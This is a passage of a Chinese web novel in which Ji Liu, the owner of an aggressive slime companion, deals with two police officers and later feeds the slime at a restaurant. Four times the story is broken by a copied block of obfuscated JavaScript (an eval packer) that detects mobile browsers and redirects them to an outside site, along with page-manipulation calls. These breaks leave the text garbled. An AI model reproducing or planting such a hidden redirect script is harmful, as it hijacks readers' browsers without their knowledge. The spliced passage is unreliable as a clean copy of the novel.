;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238738|166208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给弄懵了，以至于他现在也是思绪混乱。 偷偷看了眼季琉，确认对方看上去真的不打算发疯后，娃娃脸清清嗓子，严肃说道： “你的情况，有点复杂。” 觉醒npc的伴生，都是精神体。 根据本人的精神力强弱，精神体形态和能力大都不一。 根据现在所有登记精神体来看，精神体都是已知动植物，没有自我意识，平时隐藏在主人身体内，必要时才会出现。 所以，除了部分精神力特别强大的加入特殊管理部门外，其余人的精神体因为不会影响正常生活，他们都会被放回去，当成普通人，维持平日生活的。 “像你这种……实体的。” 娃娃脸叹了一口气， “我们是第一次见。” 说完，娃娃脸的脸又皱成一块了，他继续说道： “还是个史莱姆。” 第一次出现个实体的伴生物。 同事们还以为来了个大活。 结果仔细一看，那个实体，是毫无攻击力的史莱姆。 这只史莱姆又小又弱，真比的话，说不定还不如一只大鹅。 什么最强又最弱的配置啊。 “我不嫌弃。” 季琉温柔地回道。 “这不是……” 娃娃脸觉得自己的脸今天皱在一起都没展开过，他想说很多东西，比如说这史莱姆太奇怪了，也可能不是伴生物；比如说，为什么你这么淡定；比如说，为什么你不感到失望，等等，但最后娃娃脸还是闭嘴了。 旁边的寸头瞧了一眼生闷气的娃娃脸，他摇了摇头，拿出一张登记表，放到季琉面前，说： “你登记一下吧。” 季琉低头看了一眼，拿着笔，一边填写上面的联系方式，一边装作不经意问道： “你们有什么指导手册吗？” 娃娃脸一脸茫然： “什么手册？我们该警告你的，都说完了。” 寸头双手抱胸，视线跟着季琉的笔尖移动： “我们没有什么手册，你只需要保证你自己活下来就行了。” “因为我太弱了，是吗？” 季琉抬起头，对着寸头笑了一下。 寸头立刻浑身紧绷，眼神锐利，如同一匹被挑衅的狼，正在龇牙咧嘴地俯身警告： “注意言辞。” 说完，寸头还是忍不住好奇心，他顿了顿，问道： “你看了那些异界人的手册？上面写了什么？” 季琉对身上灼热的视线视而不见，他慢慢地写完最后一个字，把登记表递到两个警察面前，说： “不知道，我什么都没有看见。” 两个警察将信将疑。 在寸头准备拿走登记表的时候，季琉突然一把按住了那张纸。 “呜——” 在短短的一瞬间，季琉亲眼看到寸头警察身边突然出现了一匹狼。 狼的形体并不清晰，影影绰绰的，是个虚影，但和人类印象中的动物狼几乎一模一样，并且季琉清晰地听到了狼的低吼。 真有意思。 真帅。 在季琉饶有兴致地打量时，娃娃脸暗搓搓地伸手，在桌下掐了寸头一把。 寸头浑身一僵，紧绷的身体软了下来。 与此同时，那匹狼也消失不见了。 见狼没了，季琉遗憾地收回视线，他对上两位警察的眼睛，问： “我的史莱姆在哪里呢？” 8. 第 8 章 “你的史莱姆，在另一个办公室。” 娃娃脸站在调解室门口，对着季琉说。 此次“调解”已经结束。 既然当事人情绪稳定，那么就应该让当事人回归正常生活了。 季琉点点头，顺带瞥了一眼一楼的服务大厅。 和二楼专用的玩家服务大厅相比，一楼冷清到有点可怕了。 窗口只有一个穿白色制服的人坐在座位上，他还在打瞌睡，其余电脑空着。 但与之形成鲜明对比的，是窗口柜台旁有一个大大的防爆柜，里面装满了防爆武器，右边的墙壁上还挂着一张展牌—— 【接受自己，包括自己的不完美，是内心平和的开始】。 季琉在心里默读了一遍这句话，不知道为什么，他想笑，嘴角往上翘了一点，最后又拉直。 收回视线，季琉看向娃娃脸，黑色的瞳孔倒映出娃娃脸紧张的神情，他淡淡地说道： “我接受了。所以，你不用害怕。” 本来十分紧张的娃娃脸愣了一下，他憋红了一张脸，哆哆嗦嗦吐出几个字： “我没有害怕。” 跟在两人身后的寸头警察瞬间察觉到娃娃脸的紧张，他的眼神再度锐利起来，紧紧地盯着季琉的背影，微微咧开嘴，尖锐的虎牙咬住了下唇，喉间不自觉发出低吼。 “秦峰！” 听到低吼，娃娃脸瞪了寸头一眼。 寸头顿了顿，扭头避开娃娃脸的视线，站直了身体，装作什么都没有发生。 娃娃脸微微松了一口气，他回头对季琉说： “季先生，你跟我来。” 说完，不等季琉回应，娃娃脸就率先朝前走去。 可怜的娃娃脸，走起路来都同手同脚了。 季琉看着娃娃脸的背影，饶有兴致地歪歪头，跟了上去。 至于身后的那条狗…… 看样子被训得挺好，只要不攻击主人，他就没事。 所以，季琉直接忽略了来自身后的那两道炽热的眼神。 因为生怕拖得越久会生事，娃娃脸几乎是小跑着在前面带路。 他带着季琉穿过一条走廊，来到服务大厅的院子后面，再转入另一栋楼，上到二楼。 这里其实是个小院，前后两栋矮楼组成。 前面的矮楼是服务大厅，从后面走就进入小院，小院后面一栋楼是办公楼和宿舍楼。 “我同事把你的扫地机器人打开了，希望你不要生气。” 娃娃脸一边说，一边偷偷地观察季琉的神色。 五分钟前，娃娃脸收到同事发来的短信，说他们已经把那个扫地机器人大卸八块，拼都拼不回去了时，娃娃脸真的是眼前一黑又一黑。 而季琉明显并没有在意这个，他神色如常，只是—— 季琉站在办公室棕色的防盗门前，侧耳听了一会儿，一脸疑惑： “你没听到吗？里面好热闹。” 娃娃脸：？ 这么厚的防盗门，能听到什么？ 好在疑惑很快解决了。 季琉话音刚落，防盗门发出了“砰”的一声巨响，把门外的三个人都吓得抖了一下。 紧接着，尖叫声传来： “啊！！！” 这声女高音瞬间让门外的三人都抖了抖，娃娃脸迅速收拾好呆愣的表情，上前一步，推开防盗门： “张姐！” “啪啪啪” 几个黑色的小东西擦着娃娃脸的脸颊一闪而过，打在门框旁的墙壁上，所有人都听到了墙砖裂开的声音。 这个力道……真不敢想象打中人脑袋的话，会发生什么。 说不定脑袋会像西瓜一样裂开。 娃娃脸立刻出了一声冷汗，下面想说的话一骨碌全吞了回去。 季琉倒是不怕，他慢吞吞地伸出手，搭在挡在门口的娃娃脸的肩上，然后微微一用力，把娃娃脸往后扒拉。 寸头立刻拉住娃娃脸，迅速把人继续往后拉了一步。 娃娃脸：“……” 办公室里面群魔乱舞。 字面意义上的。 整个办公室很小，里面摆着四张办公桌，桌上各一台电脑。 而此刻，在季琉印象中小小的一团史莱姆，已经膨胀到了桌子一半大小。 于是，一团超大的，半透明的团子，一路爬，一路吃，办公桌上的显示器已经没有好的了，剩下的唯一还在桌子上的那个被啃了一半。 靠门的那张办公桌桌面上，有一个硕大的圆形大洞。 地板上到处都是碎屑。 三个办公室职员挤在墙角，哭唧唧地看着眼前发生的一切。 被称之为“张姐”的女强人，正试图从史莱姆嘴里拔出唯一剩下的好键盘： “这是我自费的！！！” 史莱姆吞了一半的键盘，咕噜咕噜的朝着张姐蠕动，大有“你不放手我就把你一起吃了的”意味。 季琉沉默了几秒，他扭过头，看向门口的墙壁。 那里镶嵌着几个从键盘上抠下来的字母键。 F U C K Y O X 季琉收回视线，颇有些欣慰： “还认字。” 娃娃脸这时候挤了进来，等再次看清楚办公室里面的惨状后，他也崩溃了，一把抓住季琉身侧的胳膊，求道： “你想想办法啊！” 季琉幽幽道： “还记得一开始我说了我为什么去诊所吗？因为我认为有团史莱姆想谋杀我。” 娃娃脸动作停了下来，他的表情从一开始的疑惑，变为震惊，最后变为不敢置信： “不会吧！” “咔吧” 这时候，史莱姆因为抢不到键盘而生气了，它直接一口咬了下去，于是，那把漂亮的键盘就像巧克力一样，从中间断了。 张姐拿着剩下的一半键盘呆住了。 史莱姆咔嚓咔嚓几下，把那一半键盘完全吞了进去，没一会儿功夫，那些碎片就在半透明身体里面消失不见。 然后，在一群人的注视下，两颗豆豆眼顺滑地在表面滑过，对准了防盗门那边。 门口几人：“……” 史莱姆膨胀了起来。 史莱姆鼓了两个包。 史莱姆撅起了嘴。 季琉叹了一口气。 他眼疾手快地把娃娃脸往后一推，然后自己迅速后退一步，再“砰”的一声把门关上。 所有的动作行云流水，当防盗门关上的那一刹那，正好听见“啪啪啪”的打在铁皮上的一串声音，持续了半分钟，声音密集得如同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238739|166208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下了一场小雨。 门外三人面面相觑。 季琉握着防盗门的门把手，朝娃娃脸解释： “没事的，你看，防盗门都没穿。” 要知道门框旁边的墙上，还镶嵌着几个字母键呢。 娃娃脸听着防盗门里面那有节奏的叮铃桄榔，急得都撸袖子了： “不行，我同事还在里面！” 旁边的寸头也是一脸不赞成，他从腰间抽出来警棍，身边狼的虚影也是若隐若现： “让开，我要进去。” 眼看着寸头想要上前，季琉脸色沉下来，他侧了一下身体，挡住了门把手，再次强调道： “我说了，没事的。” “损失你担待得起吗？让开。” 寸头咄咄逼人。 “损失？” 季琉冷笑一声，心中无名火起，一股戾气直冲脑门，他沉下眼来，黑色的瞳孔目不转睛地死死盯着寸头，一字一句地质问， “那我呢？我被诊断成疯子，所有人都说我是疯子，整整五年，谁来赔偿我？” 他以为自己可以不在意。 当娃娃脸跟他说，他是个正常人，其实是有人骗他的时候，季琉想，都过去了，有什么好生气的呢？ 是啊，都过去了。 不论是好是坏，五年的时间，不会重来。 而且，他其实没疯，不是个好消息吗？ 还有了真实的，属于自己的东西。 可是，现在，季琉这才发现，一切都是装的。 就像是一汪平静的湖面之下，是遍布的暗流和潮涌。 无尽的怨怼因为寸头的一句话，即将倾泻而出，季琉僵硬地弯起嘴角，脑海中幻想出无数的凶残场面—— 他会一把抓住这两个人，一起摔下楼，同归于尽。 到时候，地面上他们三个的脑浆将混杂一起，红红白白的，一团稀烂。 “咕啾” 一声轻响。 紧接着，季琉感觉自己的裤脚被什么东西扯了一下。 下一秒，内心阴暗血腥的想法如同云雾般消失，心中的情绪重回平静。 情绪转变得太突然，季琉都呆愣了几秒。 察觉到不对，季琉低头一看—— 一只卡皮巴拉。 一大只卡皮巴拉，坐在了他的鞋面上。 呆呆的卡皮巴拉圆滚滚的，它正抬着头看着季琉。 见季琉看过来，卡皮巴拉伸出一只黑色的爪子，轻轻地拍了拍季琉的裤脚。 季琉：“……” “对不起，别生气了。” 娃娃脸小声地说道。 他缩着脖子，一边一只手往后拼命抵着想要上前的寸头，一边小心翼翼地观察着季琉的神色。 季琉：“它是你的精神体？。” 他顿了顿，看向娃娃脸的眼神微妙： “它长得也像你。” 娃娃脸：“……” 心情平复下来后，季琉眼神复杂地盯着脚边还没消失的卡皮巴拉，说： “这是你的精神体的特殊技能？” 娃娃脸：“是的。” 季琉：“那我的史莱姆会有特殊技能吗？” 娃娃脸：“这个……” 季琉：“算了，孩子还小。” 娃娃脸：“……” 9. 第 9 章 三人又在防盗门前等了足足一分钟。 “它应该吐完了。” 季琉说。 娃娃脸愣了几秒，这才反应过来，季琉说的是里面的史莱姆应该是把抠出来的字母键都吐完了。 真奇怪，哪有这样的伴生啊？ 娃娃脸想吐槽又吐槽不出来，五官扭曲了一下，干笑道： “季先生，您的伴生精神体挺有性格的。” 说完，娃娃脸回想起自己之前的解释，不免一噎—— 等等，精神体不是没有自主意识吗？ 想到这里，娃娃脸低头看向脚边的卡皮巴拉。 棕黄色的，大大的一坨卡皮巴拉，也就是水豚，它正呆呆地坐在地板上，浑身气息祥和得要命，下一秒睡过去都不奇怪。 在主人看过来后，水豚缓缓站了起来，然后在所有人的注视下，渐渐变为透明，消失不见。 这只水豚的动作虽然缓慢，但是全部都是在娃娃脸的示意下完成的，它并没有自己做出多余的动作。 娃娃脸顿了好久，才没话找话地来了一句，调侃道： “说不定，季先生的史莱姆不是您的伴生精神体呢。” 出乎娃娃脸意料的是，他这句缓解气氛的调侃并没有引起其他人笑起来，其余两人静默不语，不约而同地盯着娃娃脸。 娃娃脸：“……” 不会吧，我只是开玩笑而已。 眼看着娃娃脸站在原地尴尬得要命，季琉随手按下了门把手，发出“咔”的一声。 这一声宛如惊雷，娃娃脸和寸头两个警察又紧张起来，视线不断在季琉和防盗门上游移。 “噗叽！” 果不其然，开门后还是那一大团史莱姆。 那一大团史莱姆在他们关门的那几分钟，不知道干了什么，体积又膨胀了一倍，它已经有一个办公桌那么大了—— 哦，它啃了饮水机，把整桶水也打包吃了进去。 现在，本来是圆团子状的史莱姆看见有人进来，它再次变化了形态。 事实证明，体积不变的情况下，减少厚度，面积能增大—— 史莱姆怒而拉直了身体，竖了起来，变成一个扁扁的勺子样的形状，这下子有一个人高了。 两颗黑色的豆豆眼飘到了顶部，终于能和季琉对视了。 季琉挑了挑眉。 在动物界中，像小熊猫这类动物，往往站起来张开身体来恐吓对手。 可惜，人类手贱，总觉得这样的小熊猫是在勾引人类戳它肚子。 同理，季琉手痒痒的。 他伸出了手，指尖朝向史莱姆微微鼓起的腹部—— 如果中间那段微微鼓起的地方，算是肚子的话。 而这么做的后果是史莱姆生气了。 “噗叽。” 史莱姆叫了一声。 下一秒，季琉伸出去的手停在了半空。 他的喉咙那里，有一个尖锐的、冰凉的东西抵着。 一把办公室随处可见的剪刀，被史莱姆的一根触手粘着，尖锐的剪刀嘴正精准地抵在季琉脖子的动脉处。 可以想象，只要再往前进一公分，这把剪刀就能插入季琉的动脉，等再拔出来的时候，血就会不要命地朝上喷溅，溅满整个天花板。 所有人都呆住了。 谁也不知道剪刀是怎么出现的。 这把剪刀不是从桌上拿起的，更像是史莱姆把剪刀吞下后，又瞬间拿了出来。 剪刀一直存在于史莱姆体内。 所以，史莱姆半透明的身体，有没有可能是一个伪装？ “季先生？” 两个警察一时之间思绪有点混乱。 为什么季琉的史莱姆会长大？ 为什么季琉的史莱姆试图杀死季琉？ 他们究竟是什么关系？ 比起慌乱的其他人，季琉过于镇定。 他不在乎自己脖子上的那一点刺痛，更吸引他注意力的，是从他开门走进来后，那股不属于他的情绪变化—— 气愤。 烦躁。 恐惧。 季琉能理解这些负面情绪。 如果他是史莱姆的话，被人突然这么对待，自然也会有这些情绪的。 可为什么，史莱姆在见到他之后，甚至现在在用剪刀威胁他时，季琉清晰地感受到，从心底涌出来的酸酸的情绪—— 委屈。 恐惧。 渴望。 酸酸的，涨涨的，像是小时候嘴里含着的那颗酸梅。 季琉不自觉咽了一口唾沫，他看着面前的史莱姆，突然特别开心。 这是不是说明，他的史莱姆，和他是双向奔赴？ “你想要我什么？” 季琉微微笑着，他继续朝着史莱姆伸手，最后指尖轻轻地在史莱姆柔韧的身体上点了一下，似乎这样，就能和史莱姆心意相通。 回应季琉的，是他抵在他脖子上的那把剪刀，更加往下用力了。 “季先生！” 旁边的娃娃脸看着这一幕吓得要死，他可不想因为他而导致一名无辜的人员受伤，于是情急之下他连枪都拔了出来。 可有一个问题是，枪对史莱姆有用吗？ 史莱姆的豆豆眼偏移了几度，转向娃娃脸，看到枪后，两颗豆豆眼又游了回去，重新盯着季琉。 娃娃脸沉默两秒，转头看向身后的寸头，一脸不敢置信地小声嘀咕： “我刚才是被鄙视了吧？那个史莱姆为什么会有表情？它刚才真的是在鄙视我吧？秦峰你说话啊。” 寸头：“……” 这么一打岔，让本来凝滞的氛围变得有些松动。 季琉突然笑了一声。 在笑身边人，也在笑他自己。 指尖颇有些暧昧地在史莱姆的肚子上轻轻地滑了一下，然后，季琉问道： “饿不饿？” 史莱姆：？ 其余人：？ “现在已经中午快一点了，我有点饿。” 季琉说， “我想去吃饭，你呢？要不要陪我？” 史莱姆颤抖了一下身体，整个半透明的身体表面荡出一层波浪，圆鼓鼓的肚子往里缩了一下，躲开了季琉的手指。 “从一开始，你吃了我的茶几，我的沙发，到现在吃了这里的乱七八糟的东西，但是你没吃过人类的菜肴……想吃吗？我知道一家，他们家小炒现炒的，而且酸菜鱼很好吃。” 季琉的嘴角继续上翘，酸菜鱼三个字拖得很长，黏黏糊糊的，似乎本人也在不断回味。 “热乎乎的，酸酸的，特别开胃的酸菜鱼，鱼肉也很嫩。” “他们家的小青菜也是水灵灵的，脆生生的。” “或者是，他们家的墨鱼仔？一口咬下去爆汁的。” 季琉比划了一下，最后抬起头，遗憾地对面前的史莱姆说： “可惜贵了点，我一个月也就去他们家吃一次，而现在——” 他顿了顿，又意味深长地说： “我想去了。” “咕嘟” 史莱姆的身体颤抖了一下，黑色的豆豆眼往上漂移了一秒，随后又坚定地转回来，黏着的那把剪刀还是没有移开，只是剪刀微微往回收了点。 它有些心动。 而等剪刀离开季琉脖子上的皮肤时，一滴小小的血珠冒了出来。 红色的。 看见血珠，史莱姆黑色的豆豆眼眨了眨，它把剪刀又往后面缩了点。 而季琉在同一时间感受到心底传来的“心虚”，他挑了一下眉，抬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238740|166208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起手，摸了一下脖子。 他自己也是有感觉的，脖子上有地方又疼又痒，从经验来看，必然破口了。 更何况，办公室的那把剪刀是xx牌的，真的挺锋利的。 等把手拿下来，季琉看见手指上的一点血渍。 手指轻轻一抹，那点血珠就没了。 但同时，那个动作也抹掉了季琉的好心情。 季琉黑色的瞳孔暗沉下来，嘴角也下撇。 刹那间，周围的气氛一下子又变得沉寂下来。 旁边的两个警察不自觉地往后退了一步。 娃娃头偷偷把枪别了回去，小声哆嗦了一句： “好像我小时候那班主任……” 寸头没吭声。 但深以为然。 果不其然，季琉再次抬头时，笑了，笑得像个要勾魂索命的男鬼： “真的要杀我啊？” 史莱姆：“……” “杀我你有什么好处？” “怎么，想要我的身体？” “我不反对你的理想，但是你做事不能先思考思考吗？你就不能想个办法，让我无伤死掉吗？这样你也不用烦恼怎么修补身体，不是吗？” “眼睛转什么转，回头看我，下次动手前想好，要杀就一次性杀。” “别逼我发疯，疯起来，我们两个一起去地狱。” “你还真敢想下次？” “我平时不和人计较，你是特殊的，所以我会在心里记一次，你还会有两次机会，如果两次机会都没把握，你就不要觉得我不客气。” 史莱姆茫然了。 两颗黑色的豆豆眼滴溜溜转，一根小触手拿着剪刀，往前前进几公分，又吞吞吐吐往后退几公分，一把锋利的剪刀在史莱姆半透明的身体里来来回回，完全变成了一个口香糖。 季琉说的话也让在场所有人都大气不敢喘—— 这人真的不在乎自己的生死吗？ 那把剪刀可还在他要害旁。 季琉自言自语半晌，停顿了几秒，淡淡地问道： “还想吃饭吗？” 史莱姆犹犹豫豫，把剪刀吞了回去，然后豆豆眼盯着季琉： “噗叽。” 这下好了，在场所有人都在这一声里面听出来“要的”两字。 “变小点，这么大，我不好带出去。” 季琉说。 史莱姆呆呆的站在原地，剪刀在它半透明的身体里面变成了几个碎片，然后彻底消失了。 等了几秒，史莱姆并没有发生变化。 站在身后的娃娃脸犹豫了几秒，上前一步，小声说： “说不定，你的史莱姆不知道怎么变小……” “啪” 办公室里一声响亮的巴掌声。 史莱姆脸上挨了一巴掌。 如果史莱姆有脸的话。 娃娃脸闭上了嘴，不知道为什么，他的脸和手开始幻疼。 直觉告诉他，不要再开口了，不然说什么都像是在拱火。 寸头不自觉地挺直了腰背，站得老老实实的。 季琉默默感受着刚才手掌与史莱姆相击时的柔韧手感，冷笑道： “变小点，脱水不会吗？” 这语气…… “噗叽” 史莱姆弱弱地叫了一声。 看得出来，史莱姆想摸摸自己的脸，但又怕自己多余的动作引来季琉另一巴掌。 黑色的豆豆眼在史莱姆表面顺滑地滑过，滑到了背面。 然后，史莱姆张开了嘴： “呕——” 一股股水，加上键盘和办公桌碎片被吐了出来。 还拿着半个键盘的张姐看着满地的水一哆嗦，崩溃了： “切电源啊啊啊啊！！！” 10. 第 10 章 “他们都说我是疯子，五年了，没人愿意当我朋友。” 季琉一只手提着双肩包，一只手拿着手机，手机屏幕上的光明明灭灭，越发显得他的脸色苍白。 娃娃脸动了动唇，露出一个于心不忍的表情。 “有的时候，我也想过，要么从此不当人算了，放弃自己应该会让我快乐。” 季琉抬起手，手机在半空中比划出一道弧线，他继续说道， “我只差那么一点点，一点点，就真的迈出这一步了。” 娃娃脸愧疚万分，但是又不知道怎么安慰，最后只能说： “你不要这样想，世界其实还很美好的，我们都在为一个更美好的世界而奋斗。” 闻言，季琉笑了一下，苍白的脸色有了点红晕，终于变得像个活人： “你是我变回正常人后，交的第一个朋友。” 季琉收回手机，黑色的瞳孔里有了点温度，温声细语地对娃娃脸道谢： “谢谢，汤圆。” 娃娃脸吸了吸鼻子，他低着头，看着手机屏幕，小声反驳道： “是汤源，不是汤圆……算了，你开心就好。” 手机屏幕上，赫然是他和季琉的微信界面，里面最显眼的，是一块橙色的转账记录。 十分钟前，季琉把变小了的史莱姆塞回双肩包后，询问娃娃脸他的扫地机器人哪里去了。 娃娃脸顿了好久。 这事儿咋说啊。 于是，娃娃脸结结巴巴怎么都说不出来。 而季琉本来就足够敏感，他盯着娃娃脸，轻轻地叹了一口气，自言自语道： “不怪你，是我太倒霉了，我可能真的，注定一辈子都在失去吧。” 说完这句话后，季琉望向天空，眉心微微皱起，缥缈而孤寂，似乎风一吹，他整个人就会像团烟雾一样消失在原地。 看着这一幕，娃娃脸热血一上头，坚定地回道： “不是的！我可以赔你一个新的。” 于是，娃娃脸顺利和季琉加上好友，并且转账3000。 季琉立刻点击接收，并表示他现在先走了。 娃娃脸感觉自己转账过快。 一直围观全程的寸头欲言又止止言又欲，最后和娃娃脸目送季琉离开。 寸头冷冷地吐出两个字： “绿茶。” 说完，寸头又用复杂地眼神看向娃娃脸： “你怎么会吃这一套？” 娃娃脸：“……” “秦峰！汤圆！都他妈的给我滚进来！” 张姐挽着袖子，暴躁地拿着一个扫把站在办公室门口， “给我倒垃圾。” 她的背后，办公室大半的空间都被碎木头渣子给堵住了，看上去就是一个垃圾场。 其余三个办公室职员正在抢救还算完整的东西，忙得热火朝天的。 娃娃脸与张姐对视几秒后，默默移开视线，小声地问寸头： “秦峰，你说，张姐会给我报销那3000块吗？” 他本以为自己的声音够小，张姐应该听不到，但是实际上张姐摔了一个扫把到娃娃脸身上，暴躁地回复： “发票都没有，报个屁，滚！” 娃娃脸感到自己接扫把的手生疼。 想了想，娃娃脸又转头面向寸头，一本正经地嘱托道： “秦哥，这个月，我靠你了。” 说完，娃娃脸把手里的扫把塞进了寸头怀里。 寸头：“……” …… 季琉并没有食言，他真的去了常去的那家小饭馆。 小饭馆在一条旧巷子里，门面非常简单，里面摆着几张桌子。 现在已经过了用餐高峰期，饭馆里面只有几桌人。 服务员是个四十多岁的阿姨，她戴着围裙，站在门口，看见季琉走过来，眨眨眼，有些担心地问道： “孩子，没事吧，头上受伤了吗？怎么回事？” 对于她而言，季琉太特殊了。 现在没多少年轻人愿意到他们这种苍蝇小馆子用餐，而且季琉每次来都只是一个人。 久而久之，这家馆子的服务员和老板都把季琉记住了。 “没事，就是磕到了。张姨，来个包厢。” 季琉站在饭馆门口，看了一眼服务员头顶的问号，说道。 问号在季琉回答后渐渐消失。 张姨头顶上出现一条血条，上面写着2980/3000。 季琉看着越来越清晰的血条，他有点无语。 但同时，季琉突然有点好奇，他自己的血条有多长。 先略过这个 ，不重要。 在包厢里，季琉洋洋洒洒点了一堆菜。 张姨低着头，看着手里的菜单，踌躇半晌，还是对季琉语重心长地问道： “小伙子，是遇到什么事了吗？这么多菜，你一个人，吃得完吗？” 季琉一人点了整整十个菜。 虽然季琉也经常来这家点菜，但从未这么点过，再加上季琉脸色不好，身边从没人陪伴，张姨不免多想了一点。 这个世界，总有些人想在离开之前，满足一下自己的心愿，而季琉太符合这个刻板印象了。 正准备打开双肩包的季琉顿了顿，无奈道： “没事，吃不完我会打包的。” 张姨半信半疑，离开前最后还是忍不住说了一句： “小伙子，一切都会好的。” 季琉眼神闪了闪，他拍了一下双肩包，感受着掌下柔韧的触感，笑着回道： “是的，我也这么认为。” 等所有的菜都上好，并且包厢门关上后，季琉打开了双肩包，史莱姆迫不及待地挤了出来，在看到满桌的菜肴后—— 史莱姆整个团子亮了一个度。 虽然很不想承认，季琉震惊地发现，这个史莱姆团子真的好像给自己上了一层布灵布灵的特效。 “噗叽！” 史莱姆兴奋地叫了一声。 与此同时，季琉内心深处涌动出一阵“开心”的情绪。 人们都说情绪会影响食欲，这的确是对的，平日里季琉虽然会点这家的菜，可说实话，这家的菜还没能达到让季琉食指大动的地步； 可在今天，季琉看着满桌的菜，他突然觉得好饿，菜好香，他一个人能把整整一桌菜都吃掉。 史莱姆着急忙慌地跳上了桌，然后，整个团子张开了嘴—— 等等。 季琉眼疾手快，端起了离史莱姆最近的一个盘子，教育道： “一盘一盘来，还有，不许把餐具吞了。” 史莱姆闭上了嘴，两颗黑色豆豆眼滴溜溜转了一圈，哼了一声。 这是同意了。 紧接着，在季琉的注视下，史莱姆再次张开了嘴，只是这次小了很多，它把自己埋进了盘子里，咕叽咕叽吃完了后，留下一个锃光瓦亮的白色空盘。 季琉：“……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238741|166208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 呃，这盘子还需要洗吗？ 从这个盘子吃到那个盘子，史莱姆来者不拒，骨头和渣子算什么，通通都可以吃掉！ 吃到酸菜鱼的时候，史莱姆突然顿住了，它趴在砂锅上面，似乎一点都没有感受到来自砂锅的高温。 季琉一直在旁边坐着，一只手撑着下巴，看着史莱姆风卷残云。 对，风卷残云这个词用来形容史莱姆的吃饭方式真的是太合适了。 季琉本来还在思考，史莱姆这么吃，真的能品尝出菜肴吗？真的能分辨出这些菜肴和啃沙发的区别吗？ 可心底传来一阵一阵的“开心”和“惊讶”告诉季琉，史莱姆喜欢，它分得出来。 既然它喜欢，那就这样吧。 季琉想。 见史莱姆突然停了下来，季琉挑了一下眉毛，问： “怎么了？” 史莱姆扭扭捏捏，哼哼唧唧半晌，它爬到了砂锅的另一边，然后变形，伸出两条小触手，一点一点把砂锅推到了季琉面前。 季琉惊讶地睁大了眼睛。 酸菜鱼？ “你还记得我想吃这个？” 季琉眉眼弯弯，他用几乎宠溺的视线看着面前的小团子， “真乖。” 不知道是不是季琉错觉，面前的小团子变得有点红。 可能是辣到了。 等季琉动筷后，史莱姆收回了自己的小触手，继续顺时针沿着桌子爬，嗷呜一口闷掉下一个盘子。 遇到火锅的时候，史莱姆会暂时停下来，两颗豆豆眼露出智慧的光芒，盯着卡式炉的火焰思考两秒，然后再分出两条小触手，谨慎地碰上卡式炉的开关。 “咔” 卡式炉的火焰关上了。 两条透明的小触手捏住铁锅的两边，把铁锅从炉子上拿下来，然后整个史莱姆嗷呜一声，把铁锅吞掉。 在嘴里咂摸咂摸几下后，“啪叽”一声，史莱姆再吐出锅子，把锅子放回原位。 锅子锃光瓦亮，甚至锅底上常年被火烧留下的黑印都没了。 季琉：“……” 这清洁效果，也太好了点吧，到时候他怎么跟老板解释？ 常人吃这顿饭最起码半小时，而史莱姆只花了五分钟。 等顺着桌子吃，吃到季琉面前时，史莱姆已经变胖了一圈。 它蹲坐在季琉面前，只给季琉留了两盘菜—— 酸菜鱼和小白菜。 也不错，算是有荤有素。 季琉没吃多少，他这次笑得真情实意，嘴角露出一个小酒窝，问： “吃饱了吗？” 史莱姆抬起一根触手，按下季琉戳它的手指，严肃地点了点头。 “这还是我们第一次如此平和的交流。” 季琉笑眯眯地，说， “喜欢吗？” 史莱姆没有回应，黑色的豆豆眼注视着面前的人类。 “你为什么对我有敌意呢？我也不知道发生了什么。” 季琉转而用手指摸了摸史莱姆的头，他叹了一口气，说， “现在世界这个样子，不论你到底想要什么，这段时间我们应该是相互绑定了，所以，在我们有办法安全分离前，我们暂时和平相处，如何？” 史莱姆犹豫了一下，伸出一根小触手，慢慢地握住了季琉戳他的手指。 季琉愣了一下，黑色的瞳孔里笑蔓延： “乖孩子。” 第一步成功了。 11. 第 11 章 这顿饭是季琉吃得最高兴的一次。 不是指饭菜有多好吃，相反的，季琉对吃的并没有多大的爱好，他只是高兴自己终于有一天可以心想事成。 